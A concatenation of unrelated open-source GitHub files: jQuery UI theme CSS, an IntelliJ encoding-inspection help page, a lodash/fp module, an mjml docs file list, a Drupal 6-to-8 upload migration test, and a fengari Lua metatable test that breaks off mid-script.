.ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 6px; -webkit-border-top-left-radius: 6px; -khtml-border-top-left-radius: 6px; border-top-left-radius: 6px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 6px; -webkit-border-top-right-radius: 6px; -khtml-border-top-right-radius: 6px; border-top-right-radius: 6px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 6px; -webkit-border-bottom-left-radius: 6px; -khtml-border-bottom-left-radius: 6px; border-bottom-left-radius: 6px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 6px; -webkit-border-bottom-right-radius: 6px; -khtml-border-bottom-right-radius: 6px; border-bottom-right-radius: 6px; } /* Overlays */ .ui-widget-overlay { background: #a6a6a6 url(images/ui-bg_dots-small_65_a6a6a6_2x2.png) 50% 50% repeat; opacity: .40;filter:Alpha(Opacity=40); } .ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #333333 url(images/ui-bg_flat_0_333333_40x100.png) 50% 50% repeat-x; opacity: .10;filter:Alpha(Opacity=10); -moz-border-radius: 8px; -khtml-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; }/* * jQuery UI Resizable 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Resizable#theming */ .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block; } .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}/* * jQuery UI Selectable 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Selectable#theming */ .ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } /* * jQuery UI Accordion 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Accordion#theming */ /* IE/Win - Fix animation bug - #4615 */ .ui-accordion { width: 100%; } .ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; } .ui-accordion .ui-accordion-li-fix { display: inline; } .ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } .ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em .7em; } .ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } .ui-accordion .ui-accordion-content-active { display: block; } /* * jQuery UI Autocomplete 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Autocomplete#theming */ .ui-autocomplete { position: absolute; cursor: default; } /* workarounds */ * html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ /* * jQuery UI Menu 1.8.16 * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Menu#theming */ .ui-menu { list-style:none; padding: 2px; margin: 0; display:block; float: left; } .ui-menu .ui-menu { margin-top: -3px; } .ui-menu .ui-menu-item { margin:0; padding: 0; zoom: 1; float: left; clear: left; width: 100%; } .ui-menu .ui-menu-item a { text-decoration:none; display:block; padding:.2em .4em; line-height:1.5; zoom:1; } .ui-menu .ui-menu-item a.ui-state-hover, .ui-menu .ui-menu-item a.ui-state-active { font-weight: normal; margin: -1px; } /* * jQuery UI Button 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Button#theming */ .ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; text-decoration: none !important; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; line-height: 1.4; } .ui-button-text-only .ui-button-text { padding: .4em 1em; } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ input.ui-button { padding: .4em 1em; } /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ /* * jQuery UI Dialog 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog#theming */ .ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } .ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } /* * jQuery UI Slider 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Slider#theming */ .ui-slider { position: relative; text-align: left; } .ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } .ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } .ui-slider-horizontal { height: .8em; } .ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } .ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .ui-slider-horizontal .ui-slider-range-min { left: 0; } .ui-slider-horizontal .ui-slider-range-max { right: 0; } .ui-slider-vertical { width: .8em; height: 100px; } .ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } .ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } .ui-slider-vertical .ui-slider-range-min { bottom: 0; } .ui-slider-vertical .ui-slider-range-max { top: 0; }/* * jQuery UI Tabs 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Tabs#theming */ .ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tabs .ui-tabs-hide { display: none !important; } /* * jQuery UI Datepicker 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Datepicker#theming */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { left:1px; } .ui-datepicker .ui-datepicker-next-hover { right:1px; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { display: none; /*sorry for IE5*/ display/**/: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ }/* * jQuery UI Progressbar 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Progressbar#theming */ .ui-progressbar { height:2em; text-align: left; } .ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }
{ "pile_set_name": "Github" }
<html> <body> This inspection warns you of characters that the current document encoding is incapable to represent. <br> For example, when you are <br> <ul> <li>typing international characters in a document configured to <b>US-ASCII</b> charset. Some characters will be lost on save.</li> <li>or loading <b>UTF-8</b>-encoded file using <b>ISO-8859-1</b> one-byte charset. Some characters will be displayed incorrectly.</li> </ul> You fix this by changing the file encoding, either by specifying the encoding directly in the file, e.g. by editing <b>encoding=</b> attribute in the XML prolog of XML file, or configuring the <b>Settings|Project Settings|File Encodings</b> . </body> </html>
{ "pile_set_name": "Github" }
/* Copyright 2020 The casbin Authors. All Rights Reserved. */ /* Licensed under the Apache License, Version 2.0 (the "License"); */ /* you may not use this file except in compliance with the License. */ /* You may obtain a copy of the License at */ /* */ /* http://www.apache.org/licenses/LICENSE-2.0 */ /* */ /* Unless required by applicable law or agreed to in writing, software */ /* distributed under the License is distributed on an "AS IS" BASIS, */ /* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ /* See the License for the specific language governing permissions and */ /* limitations under the License. */ p { margin: 0; padding: 0; }
{ "pile_set_name": "Github" }
var convert = require('./convert'), func = convert('template', require('../template')); func.placeholder = require('./placeholder'); module.exports = func;
{ "pile_set_name": "Github" }
[ "mjml/doc/guide.md", "mjml/doc/install.md", "mjml/doc/getting_started.md", "mjml/doc/basic.md", "mjml/doc/components_1.md", "mjml/packages/mjml-body/README.md", "mjml/doc/components_2.md", "mjml/doc/head_components.md", "mjml/packages/mjml-head-attributes/README.md", "mjml/packages/mjml-head-breakpoint/README.md", "mjml/packages/mjml-head-font/README.md", "mjml/packages/mjml-head-preview/README.md", "mjml/packages/mjml-head-style/README.md", "mjml/packages/mjml-head-title/README.md", "mjml/doc/body_components.md", "mjml/packages/mjml-accordion/README.md", "mjml/packages/mjml-button/README.md", "mjml/packages/mjml-carousel/README.md", "mjml/packages/mjml-column/README.md", "mjml/packages/mjml-divider/README.md", "mjml/packages/mjml-group/README.md", "mjml/packages/mjml-hero/README.md", "mjml/packages/mjml-image/README.md", "mjml/packages/mjml-navbar/README.md", "mjml/packages/mjml-raw/README.md", "mjml/packages/mjml-section/README.md", "mjml/packages/mjml-social/README.md", "mjml/packages/mjml-spacer/README.md", "mjml/packages/mjml-table/README.md", "mjml/packages/mjml-text/README.md", "mjml/packages/mjml-wrapper/README.md", "mjml/doc/community-components.md", "mjml/doc/mjml-chart.md", "mjml/doc/mjml-qr-code.md", "mjml/packages/mjml-validator/README.md", "mjml/doc/create.md", "mjml/doc/using_mjml_in_json.md", "mjml/doc/tooling.md", "mjml/doc/passport.md" ]
{ "pile_set_name": "Github" }
<?php namespace Drupal\Tests\file\Kernel\Migrate\d6; use Drupal\file\Entity\File; use Drupal\Tests\migrate_drupal\Kernel\d6\MigrateDrupal6TestBase; use Drupal\node\Entity\Node; /** * Migrate association data between nodes and files. * * @group migrate_drupal_6 */ class MigrateUploadTest extends MigrateDrupal6TestBase { /** * {@inheritdoc} */ public static $modules = ['menu_ui']; /** * {@inheritdoc} */ protected function setUp() { parent::setUp(); $this->installEntitySchema('file'); $this->installEntitySchema('node'); $this->installSchema('file', ['file_usage']); $this->installSchema('node', ['node_access']); $id_mappings = ['d6_file' => []]; // Create new file entities. for ($i = 1; $i <= 3; $i++) { $file = File::create([ 'fid' => $i, 'uid' => 1, 'filename' => 'druplicon.txt', 'uri' => "public://druplicon-$i.txt", 'filemime' => 'text/plain', 'created' => 1, 'changed' => 1, 'status' => FILE_STATUS_PERMANENT, ]); $file->enforceIsNew(); file_put_contents($file->getFileUri(), 'hello world'); // Save it, inserting a new record. $file->save(); $id_mappings['d6_file'][] = [[$i], [$i]]; } $this->prepareMigrations($id_mappings); $this->migrateContent(); // Since we are only testing a subset of the file migration, do not check // that the full file migration has been run. $migration = $this->getMigration('d6_upload'); $migration->set('requirements', []); $this->executeMigration($migration); } /** * Test upload migration from Drupal 6 to Drupal 8. */ public function testUpload() { $this->container->get('entity.manager') ->getStorage('node') ->resetCache([1, 2]); $nodes = Node::loadMultiple([1, 2]); $node = $nodes[1]; $this->assertIdentical(1, count($node->upload)); $this->assertIdentical('1', $node->upload[0]->target_id); $this->assertIdentical('file 1-1-1', $node->upload[0]->description); $this->assertIdentical(FALSE, $node->upload[0]->isDisplayed()); $node = $nodes[2]; $this->assertIdentical(2, count($node->upload)); $this->assertIdentical('3', $node->upload[0]->target_id); $this->assertIdentical('file 2-3-3', $node->upload[0]->description); $this->assertIdentical(FALSE, $node->upload[0]->isDisplayed()); $this->assertIdentical('2', $node->upload[1]->target_id); $this->assertIdentical(TRUE, $node->upload[1]->isDisplayed()); $this->assertIdentical('file 2-3-2', $node->upload[1]->description); } }
{ "pile_set_name": "Github" }
"use strict"; const lua = require('../../src/lua.js'); const lauxlib = require('../../src/lauxlib.js'); const lualib = require('../../src/lualib.js'); const {to_luastring} = require("../../src/fengaricore.js"); const ltests = require('./ltests.js'); test("[test-suite] events: testing metatable", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` X = 20; B = 30 _ENV = setmetatable({}, {__index=_G}) --collectgarbage() X = X+10 assert(X == 30 and _G.X == 20) B = false assert(B == false) B = nil assert(B == 30) assert(getmetatable{} == nil) assert(getmetatable(4) == nil) assert(getmetatable(nil) == nil) a={name = "NAME"}; setmetatable(a, {__metatable = "xuxu", __tostring=function(x) return x.name end}) assert(getmetatable(a) == "xuxu") assert(tostring(a) == "NAME") -- cannot change a protected metatable assert(pcall(setmetatable, a, {}) == false) a.name = "gororoba" assert(tostring(a) == "gororoba") local a, t = {10,20,30; x="10", y="20"}, {} assert(setmetatable(a,t) == a) assert(getmetatable(a) == t) assert(setmetatable(a,nil) == a) assert(getmetatable(a) == nil) assert(setmetatable(a,t) == a) function f (t, i, e) assert(not e) local p = rawget(t, "parent") return (p and p[i]+3), "dummy return" end t.__index = f a.parent = {z=25, x=12, [4] = 24} assert(a[1] == 10 and a.z == 28 and a[4] == 27 and a.x == "10") --collectgarbage() a = setmetatable({}, t) function f(t, i, v) rawset(t, i, v-3) end setmetatable(t, t) -- causes a bug in 5.1 ! t.__newindex = f a[1] = 30; a.x = "101"; a[5] = 200 assert(a[1] == 27 and a.x == 98 and a[5] == 197) do -- bug in Lua 5.3.2 local mt = {} mt.__newindex = mt local t = setmetatable({}, mt) t[1] = 10 -- will segfault on some machines assert(mt[1] == 10) end local c = {} a = setmetatable({}, t) t.__newindex = c a[1] = 10; a[2] = 20; a[3] = 90 assert(c[1] == 10 and c[2] == 20 and c[3] == 90) do local a; a = setmetatable({}, {__index = setmetatable({}, {__index = setmetatable({}, {__index = function (_,n) return a[n-3]+4, "lixo" end})})}) a[0] = 20 for i=0,10 do assert(a[i*3] == 20 + i*4) end end do -- newindex local foi local a = {} for i=1,10 do a[i] = 0; a['a'..i] = 0; end setmetatable(a, {__newindex = function (t,k,v) foi=true; rawset(t,k,v) end}) foi = false; a[1]=0; assert(not foi) foi = false; a['a1']=0; assert(not foi) foi = false; a['a11']=0; assert(foi) foi = false; a[11]=0; assert(foi) foi = false; a[1]=nil; assert(not foi) foi = false; a[1]=nil; assert(foi) end setmetatable(t, nil) function f (t, ...) return t, {...} end t.__call = f do local x,y = a(table.unpack{'a', 1}) assert(x==a and y[1]=='a' and y[2]==1 and y[3]==nil) x,y = a() assert(x==a and y[1]==nil) end local b = setmetatable({}, t) setmetatable(b,t) function f(op) return function (...) cap = {[0] = op, ...} ; return (...) end end t.__add = f("add") t.__sub = f("sub") t.__mul = f("mul") t.__div = f("div") t.__idiv = f("idiv") t.__mod = f("mod") t.__unm = f("unm") t.__pow = f("pow") t.__len = f("len") t.__band = f("band") t.__bor = f("bor") t.__bxor = f("bxor") t.__shl = f("shl") t.__shr = f("shr") t.__bnot = f("bnot") 